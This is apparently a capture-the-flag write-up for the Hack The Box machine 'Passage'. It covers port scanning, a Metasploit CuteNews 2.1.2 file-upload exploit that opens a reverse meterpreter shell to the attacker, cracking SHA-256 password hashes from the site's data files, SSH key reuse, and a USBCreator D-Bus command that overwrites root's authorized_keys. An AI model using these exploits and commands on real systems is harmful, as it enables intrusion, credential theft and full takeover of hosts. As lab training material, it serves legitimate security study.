image-20200906132505581

Nmap Scan

# Nmap 7.80 scan initiated Sun Sep  6 12:17:03 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Full_10.129.5.22.nmap 10.129.5.22
Nmap scan report for 10.129.5.22
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 6 12:17:20 2020 -- 1 IP address (1 host up) scanned in 16.72 seconds

We found the site has implement fail2ban, which it will block certain IP address if it touches the threshold, gobuster might not work here.

image-20200906132744866

http://www.passage.htb/cutenews

Version CuteVews 2.1.2 , rating more towards CVE

image-20200906132844233

image-20200906132903154

Use searchsploit

┌──(root💀kali)-[/opt/nmapAutomator/10.129.5.22/nmap]
└─# searchsploit cutenews | grep 2.1.2
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit) | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt

Found Metasploit module, msfconsole was not able to search the module, therefore we have to add it manually.

cp 46698.rb /usr/share/metasploit-framework/modules/exploits/linux/http/46698.rb

and we will have error saying out file unable to load. Because there’s some error in this ruby file (Why offsec would keep bad module ?)

'References' =>
[
['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'], // <---- Add a comma here to fix
['URL', 'http://cutephp.com'] # Official Website

First, we have to register a account

image-20200906134157017

image-20200906134206315

Next, open up msfconsole, load the module we just added

reload_all

And this is our options

msf5 exploit(linux/http/46698) > options

Module options (exploit/linux/http/46698):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ikonw no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.5.22 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /CuteNews yes Base CutePHP directory path
USERNAME ikonw yes Username to authenticate with
VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.6 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic

msf5 exploit(linux/http/46698) > run

[*] Started reverse TCP handler on 10.10.14.6:4444
[*] http://10.129.5.22:80 - CuteNews is 2.1.2
[+] Authentication was successful with user: ikonw
[*] Trying to upload ouriwixb.php
[+] Upload successfully.
[*] Sending stage (38288 bytes) to 10.129.5.22
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.129.5.22:37850) at 2020-09-06 13:02:44 +0800

and we got the www-data user.

We found 2 user

nadav and paul

www-data@passage:/home$ ls
ls
nadav paul

Went back to web directory for more enumeration, try to see if any config file stores the users cred

image-20200906151237004

Along the way we find out that CuteNews does not have database, all it’s data are store in PHP.

For convivence, I zip the whole web folder and download it to local for more analysis.

in cdata/users folder we found some base64

┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# ls
09.php 16.php 32.php 42.php 5d.php 6c.php 73.php 7a.php 97.php b0.php c1.php d4.php d6.php fb.php lines
0a.php 21.php 41.php 52.php 66.php 6e.php 77.php 8f.php 98.php b8.php c8.php d5.php e0.php fc.php users.txt


┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# cat 09.php
<?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319

We extract out all the base64 hash and decrypt it at one

┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# cat * | grep -v '<?php'
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
YToxOntzOjI6ImlkI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Ijt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=

image-20200906151626095

we can see that is all serialized objects.

array (
'name' =>
array (
'admin' =>
array (
'id' => '1592483047',
'name' => 'admin',
'acl' => '1',
'email' => 'nadav@passage.htb',
'pass' => '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1',
'lts' => '1592487988',
'ban' => '0',
'cnt' => '2',
),
),
)

it contains email and password hash.

went to hash.org and we know it’s a sha256 hash.

we collect all the hashes

7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

and we use john and rockyou to decrypt it

┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 password
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
atlanta1 (?)
1g 0:00:00:01 DONE (2020-09-06 15:08) 0.8403g/s 12053Kp/s 12053Kc/s 48240KC/s (454579)..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

we got the password atlanta1

we manage su to paul account

paul@passage:/var/www/html/CuteNews/cdata$ whoami
whoami
paul
paul@passage:/var/www/html/CuteNews/cdata$ cd ~
cd ~
paul@passage:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
paul@passage:~$ cat user.txt
cat user.txt
3f0dfa31752b3222428868b631ebe589

After some enumeration

authorized_keys only have one nadav value. That means key belongs nadav. This key can access to both nadav and paul

paul@passage:~/.ssh$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage

That means, nadav might have paul’s public key.

We get the id_rsa key from paul and we are in

┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage]
└─# ssh -i id_rsa nadav@10.129.5.22
load pubkey "id_rsa": invalid format
Last login: Sun Sep 6 00:21:36 2020 from 10.10.14.6
nadav@passage:~$

Root

After some enumeration from process list, we discover d-bus usbcreator is vulnerable to privilege escalation

USBCreator D-Bus Privilege Escalation in Ubuntu Desktop

We can directly overwrite arbitary files on the file system as root.

Generate our own ssh key and write it to a file called ssh_key

nadav@passage:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuSKqfg/WNLTFhnw+oY9nBwgoBZm4pRY0ZJHBykTQ9tU2XAR2AE1Hqzkqho7D1/b1sfSLOM1h53vxHzMewMO+xGxQ4n3xdoQmHy+BUJ8igkFlG630Jbu6AOJPU2vigmqr9rxdPSZCk5443tp8p4se2C9k7mOoYNZtRsHTuvq4uHOCOvlIaehIGDiI2zoatklvWdQ4dUDERM4gKo5U4VJ05DteQydkQuBKRTx4zYnO0+Tepkk424Q6aCaalwTfjFJTpEYRMLQrK6sGcijDJL2U/gHIjah3o8bR6aA5jy40P+3mFwMTW2lKAz+dhuyrtrBkvbiDeyrXBxAiDq/G5aiMTBVQA9vrfl0fpUGA2gY8/VqcuJ0cKWhSc3pzLzHO8dnElQD7+VCnJqRsxKjRMngJ5zJmyoIF/DRQZ2klnnW1chrFhi+kmegJuiQACjQqMiG8xgFJqJqy/jKbMMhNoul1y21Dx3de/K4c1LBsvYd0OGeckbLk7KDbxQ0snnVzKLDU= ikonw" > ssh_key

Next called the dbus to overwrite to root’s authorized_keys

nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/ssh_key /root/.ssh/authorized_keys true
()

and we got root

┌──(root💀kali)-[~/.ssh]
└─# ssh -i id_rsa root@10.129.5.22 127 ⨯
Last login: Sun Sep 6 02:23:55 2020 from 10.10.14.6
root@passage:~# cat root.txt && whoami && hostname
ad8b45d6ef52d901382e54b0d3ecb4ad
root
passage



root




root